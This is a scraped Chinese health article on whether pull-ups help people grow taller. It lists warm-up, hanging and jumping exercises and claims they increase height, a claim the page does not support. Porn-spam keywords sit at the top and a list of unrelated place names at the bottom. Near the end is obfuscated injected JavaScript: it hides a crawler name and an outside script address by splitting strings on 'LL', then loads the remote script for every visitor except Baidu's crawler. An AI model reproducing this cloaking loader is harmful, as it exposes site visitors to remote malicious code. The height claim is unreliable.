亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

做引體向上可不可以長(zhǎng)高

2017-04-16 14:58:00  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):如今大家對(duì)于自己的身材要求要更加高一些的,因?yàn)楝F(xiàn)在很多人都特別的注重自己的外觀問(wèn)題,如果自己的外觀比較好的話(huà)不光是可以很好的去吸引

如今大家對(duì)于自己的身材要求要更加高一些的,因?yàn)楝F(xiàn)在很多人都特別的注重自己的外觀問(wèn)題,如果自己的外觀比較好的話(huà)不光是可以很好的去吸引異性的目光,也會(huì)讓自己整體的氣質(zhì)都感覺(jué)到特別的好,特別是男性朋友們?nèi)绻砀弑容^高的話(huà)是很受人歡迎的,所以就想要通過(guò)運(yùn)動(dòng)的方式去達(dá)到長(zhǎng)高的目的的,比如說(shuō)經(jīng)常的去做引體向上來(lái)進(jìn)行增高的。

一、熱身:身體保持正直,然后上體前傾,雙臂伸直用力向后上方揮動(dòng)。

二、行走:大幅度擺臂,有力地向前走。

三、跑步:先小步跑,同時(shí)雙手放在肩上,雙臂屈肘向前轉(zhuǎn)動(dòng);然后快速跑跳25-50米。重復(fù)4-6次,每次之間稍事休息。

四、伸拉:踮起腳后跟,雙臂伸直向上伸拉,然后向各方向伸拉。重復(fù)6-8次,中間稍事休息。

五、垂吊:在單杠上懸垂(20秒到1分鐘),雙腿并攏。身體先向左、右轉(zhuǎn)動(dòng),再向前、后擺蕩,最后做引體向上(女孩做此練習(xí)雙腳可以不離地)。每次做4-6分鐘,每個(gè)動(dòng)作重復(fù)6-8次。還有一種方法是,上體保持正直,深蹲,然后向上跳起時(shí)抓住單杠,并利用慣性做引體向下(單杠的高度和雙手之間的距離應(yīng)根據(jù)個(gè)人情況而定),重復(fù)數(shù)次。

六、跳躍:向上跳,爭(zhēng)取每次跳得比上一次高,或力求達(dá)到某一規(guī)定高度。向下跳,從稍高的地方向下跳,落地時(shí)盡量彎屈雙腿,然后雙腳用力蹬地,再向上跳起,各做30-60次。

注意事項(xiàng):認(rèn)真做好熱身運(yùn)動(dòng),防止損傷。循序漸進(jìn),可先選擇部分練習(xí),一段時(shí)間后再進(jìn)行全套練習(xí)。從一開(kāi)始就要注意按照規(guī)定數(shù)量做好動(dòng)作。不可隨心所欲。每做完一節(jié)操,要稍事休息,讓呼吸平穩(wěn)、肢體充分放松。做完全套操后,平躺在地板上,繃緊背部和臀部肌肉,腰略挺。每周做操不少于3次,每次35-45分鐘持之以恒,必有佳效。

這種運(yùn)動(dòng)方式確實(shí)是可以達(dá)到長(zhǎng)高的目的,但是能夠影響到自己長(zhǎng)高的原因還是比較多的,所以對(duì)于運(yùn)動(dòng)的方式要多樣化才可以起到一定的增高效果,這些運(yùn)動(dòng)的時(shí)候一定要做好熱身的運(yùn)動(dòng),不然的話(huà)很可能就會(huì)在做引體向上的時(shí)候出現(xiàn)損傷的情況,只能是循序漸進(jìn)地進(jìn)行運(yùn)動(dòng)的。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
扶绥县| 乌什县| 武威市| 东城区| 光泽县| 平果县| 克山县| 阿合奇县| 稻城县| 武平县| 乌什县| 通许县| 武乡县| 廉江市| 肃宁县| 资兴市| 房产| 汕尾市| 廊坊市| 哈尔滨市| 临沧市| 黎城县| 白山市| 阳山县| 南川市| 贡山| 抚松县| 临泉县| 增城市| 花莲市| 调兵山市| 禹州市| 色达县| 河池市| 沅江市| 革吉县| 黄大仙区| 古交市| 巴林左旗| 徐州市| 卢湾区|